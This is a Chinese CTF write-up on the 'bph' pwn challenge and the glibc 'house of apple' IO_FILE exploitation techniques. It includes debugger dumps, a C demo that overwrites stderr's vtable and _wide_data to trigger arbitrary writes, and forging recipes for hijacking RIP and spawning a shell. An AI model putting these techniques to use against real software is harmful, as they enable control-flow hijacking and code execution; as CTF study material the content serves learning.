关于SHSTK保护

目前,雖然許多文章都表示SHSTK技術已經十分完備,但是從linux官方文檔來看,想要实际对于一个程序,启用SHSTK,需要运行程序者主动声明。因此,即使很多elf在checksec下能够检查出来,其实这也只是声明了,此elf具有SHSTK标签,实际启用SHSTK,还需要许多部分同步启用。这就导致,目前可以说,几乎所有赛题,都没有SHSTK。除非有特殊声明。

bph

这题的glibc非常新,我使用libc_database下到了非常后面的版本,还是没search出来,当时又看到SHSTK,觉得即使知道了libc_database ,在没有ROP的情况下,打orw也很困难,于是有点放弃了。

目前靶机已经关闭,根据 Polaris 战队提供的wp,了解到是使用 ubuntu24.04 搭建。通常对应了glibc2.39。

程序的漏洞非常明显 : 如果malloc失败,malloc实际上返回的是0 , 而之后有个无视malloc是否返回成功,在ptr + size -1 位置写入\x00 的代码。实际上就是给出了任意地址写入\x00

但是目前状态下,没有泄露stack / lilbc / heap 任何一个部分的base。

在前面输入token的部分 可以泄露 libc or stack 考虑到写入一个字节是一个非常弱小的primitive,应该是需要扩大写入权限的,如果泄露栈上地址,并且还不知道text 段地址 几乎没任何意义。反而在libc中,由于有stdin的iofile,打IOfile 可能可以扩大写入权限,进行进一步的攻击。

在IO_file 中,存在一个指定缓冲区位置的指针”IO_buf_base”,它指定了一个file的缓冲区的起点。通常,对于一个file,会有个内联的缓冲区short_buf,它是紧跟在IO_file结构体之后的,这也是为什么有时候通过直接泄露stdin里面的内容可以泄露flag,当short_buf 空间不足时(shortbuf只有一个字节大小,也就是说,如果不是0缓冲就不用这个了) 会从heap上申请空间,迁移IO_buf_base 和 IO_buf_end指针,其他像IO_write_base等指针会跟进迁移。

打印一个stdin的 IO_file来看一下

pwndbg> p *(FILE *) 0x7ffff7f6e8e0
$3 = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7f6e963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7f6e964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7f70720 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6e9c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7ffff7f6f628 <_IO_2_1_stdout_+104>,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}

这个stdin是从bph 中取出来的

这是还没读取进信息时的stdin

尝试输入token,基本上内容都是一样的,因为此时是0缓冲。

用gdb修改base到stdin起点

调用read 会发现所有write_base read_base 等指针都跟进了

pwndbg> p *(FILE *) 0x7ffff7f6e8e0
$33 = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_read_end = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_read_base = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_write_base = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_write_ptr = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_write_end = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_buf_base = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "\213 \255", <incomplete sequence \373>,
_IO_buf_end = 0x7ffff7f6e964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7f70720 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7f6e9c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7ffff7f6f628 <_IO_2_1_stdout_+104>,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}

但是并没有看到篡改现象,因为read是非常底层的函数。

再在gdb调用gets(ptr) 随便输入点数据 看看会发生什么

pwndbg> x/10gx 0x7ffff7f6e8e0
0x7ffff7f6e8e0 <_IO_2_1_stdin_>: 0x00000a3131313131 0x00007ffff7f6e8e6
0x7ffff7f6e8f0 <_IO_2_1_stdin_+16>: 0x00007ffff7f6e8e6 0x00007ffff7f6e8e0
0x7ffff7f6e900 <_IO_2_1_stdin_+32>: 0x00007ffff7f6e8e0 0x00007ffff7f6e8e0
0x7ffff7f6e910 <_IO_2_1_stdin_+48>: 0x00007ffff7f6e8e0 0x00007ffff7f6e8e0
0x7ffff7f6e920 <_IO_2_1_stdin_+64>: 0x00007ffff7f6e964 0x0000000000000000

篡改出现了。同时 read_ptr read_end 都同步了

_IO_read_ptr = 0x7ffff7f6e8e6 <_IO_2_1_stdin_+6> "",
_IO_read_end = 0x7ffff7f6e8e6 <_IO_2_1_stdin_+6> "",
_IO_read_base = 0x7ffff7f6e8e0 <_IO_2_1_stdin_> "11111\n",

这就表示我们可以扩大利用范围了。有控制iofile的权利,通常的思路就是控制vtable,在高版本中,vtable会检查是否在合法的范围内,因此最好是通过调用io有关函数,来控制需要的寄存器。

另外,IOfile攻击,通常需要考虑一两次的利用就达成目的,而题目要求打orw, 通常使用ROP更好,因此需要进行一次栈迁移,这里有个方便的函数: setcontext 。 传入一个sigframe, setcontext 就能控制大部分的寄存器。

polaris的解法基本上就基于上面的思路,利用方式很像house_of_apple

所以下面扩展一下 , house_of_apple 的原型

house of apple1

  1. 能从main返回或能exit

  2. heap地址和libc地址泄露

  3. 一次largebin attack

fcloseall 利用链:

fcloseall -> 遍历_IO_list_all ,调用vtable->_overflow。

largebin attack 可以伪造_IO_FILE结构体,apple1在此基础上 通过_wide_data 扩大利用范围。

具体来说 运用到了_IO_wstrn_overflow

_IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
//只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址。
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return c;
}
typedef struct
{
//0xf0
_IO_strfile f;
wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile

从上述部分可以看到 假设有伪造的_IO_file A , 并且里面有伪造的_wide_data字段B , 伪造vtable为_IO_wstrn_jumps , 就可以将B 到 B + 0x38 写成 A+0xf0 或 A + 0x1f0 (0x1f0不知道哪来的 但是原博客就是这么写的)

为了绕过free ,还需要设置_flags2字段为8

一个demo

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199804;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199830;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x199868;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;

puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;

puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;

puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}

发现使用的glibc版本是 2.34 ubuntu3.2

❯ ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x644b012fb2a0]: 0x1122334455667788 0x1122334455667788
[0x644b012fb2b0]: 0x1122334455667788 0x1122334455667788
[0x644b012fb2c0]: 0x1122334455667788 0x1122334455667788
[0x644b012fb2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x73d622e80ef0
[*] stderr->_IO_write_ptr address: 0x73d62301a6a8
[*] stderr->_flags2 address: 0x73d62301a6f4
[*] stderr->_wide_data address: 0x73d62301a720
[*] stderr->vtable address: 0x73d62301a758
[*] _IO_wstrn_jumps address: 0x73d623015dc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x644b012fb2a0]: 0x000073d62301a770 0x000073d62301a870
[0x644b012fb2b0]: 0x000073d62301a770 0x000073d62301a770
[0x644b012fb2c0]: 0x000073d62301a770 0x000073d62301a770
[0x644b012fb2d0]: 0x000073d62301a770 0x000073d62301a870
===========================new value=======================

总体上来说,house_of_apple1,将一个largebin_attack的initialtive扩展到了任意地址写入已知地址,便于进一步利用。前提是能够泄露libc和heap地址。

利用思路

一、 修改Tcache线程变量tcache_pthread_struct

二、 修改mp_结构体:_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值

三、 修改pointer_guard 打 house of emma。

四、 修改global_max_fast 释放超大的chunk,去覆盖掉point_guard或者tcache变量。house of apple + house of corrision

house_of_apple2

神级的利用方法,出现的概率特别高!

前提:

  • heap泄露+libc泄露

  • 控制程序执行io操作main return,exit,__malloc_assert..

  • 劫持vtable 和 _wide_data,一般使用largebin attack 控制

原理: 和house_of_apple一致,也是利用了_wide_vtable 指针没有被检查合法性,而是直接通过宏去调用了它内部的指针。

可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

利用链

利用的最终目的不是wfile_overflow ,而是通过 IO_OVERFLOW 跳转到wfile_jumps 内部的函数,通过这个函数做中转,再跳转到另一个wfile_jumps 中的函数,强网杯这次的题就非常灵活的利用到了这个思想。

Roderick 大佬提供的三个比较方便的利用链:

_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

伪造:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)
  • _flags设置为0x800
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

另外 要求rdx 不为0

house_of_apple3

在劫持FILE->_codecvt的基础上,直接控制程序执行流。

使用条件和 house of apple2 几乎相同

如果是伪造整个结构体 需要合适的_wide_data 如果只能伪造部分FILE成员,就保持fp->_wide_data是默认地址

感觉这玩意不如house_of_apple2 好用,直接贴链接得了

[原创]House of apple 一种新的glibc中IO攻击方法 (3)-Pwn-看雪论坛-安全社区|非营利性质技术交流社区

bph

这个题的独特之处在于,最初可以任意写入的部分就在libc 内部的_IO_file ,因此相比最原始的 house_of_apple2 ,更加灵活。 但是同时 ,程序使用了seccomp 沙箱限制了要打orw ,这就导致不好通过一个backdoor 解决,于是想到通过setcontext中的gadget进行栈迁移。但是这就需要能够提前控制rdx。

基于house_of_apple2 的核心思想,通过wfile_jumps中的一个函数进行中转。最后执行任意函数,那么这里wfile_jumps中就应该找一个可以伪造rdx的函数,任意函数就是setcontext。